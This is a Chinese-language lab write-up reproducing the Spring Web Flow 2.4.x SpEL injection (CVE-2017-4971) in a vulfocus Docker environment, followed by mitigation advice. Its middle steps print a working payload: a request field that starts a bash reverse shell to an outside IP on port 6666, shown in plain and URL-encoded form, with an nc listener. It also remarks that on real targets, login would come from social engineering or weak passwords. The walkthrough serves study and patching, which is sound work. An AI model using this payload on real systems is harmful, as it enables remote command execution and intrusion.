简介
Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。
影响版本:Spring Web Flow 2.4.0 到 2.4.4
环境搭建
使用vulfocus进行搭建docker环境,这里我使用的端口为8082
漏洞复现过程
1.首先利用左边给出的账号密码登录进去,在真实环境中进行测试时就要通过社工、弱口令等手段进行尝试登录了。
登录成功:
访问id为1的酒店,点击Book Hotel
随便填写点信息后点击Process
点击确认Confirm抓包
发送数据包到重放模块,修改数据包
请求包中添加新字段:_(new java.lang.ProcessBuilder(“bash”,“-c”,“bash -i >& /dev/tcp/U-ip/port 0>&1”)).start()=vulhub
对bash -i >& /dev/tcp/120.53.235.174/6666 0>&1进行URL编码:bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F120.53.235.174%2F6666%200%3E%261
攻击端执行监听 nc -l -p 6666
发送修改好的数据包
可以看到攻击端已经连接上了shell,并且可以执行命令
修复建议
建议相关版本的用户采取如下措施进行缓解
2.4.x用户升级到2.4.5
建议在视图状态中始终使用显式数据绑定声明, 以防止表单提交在不应设置的目标对象上设置字段。
Spring Web Flow with JSF 的用户不受到影响.
参考链接
https://vulhub.org/#/environments/spring/CVE-2017-4971/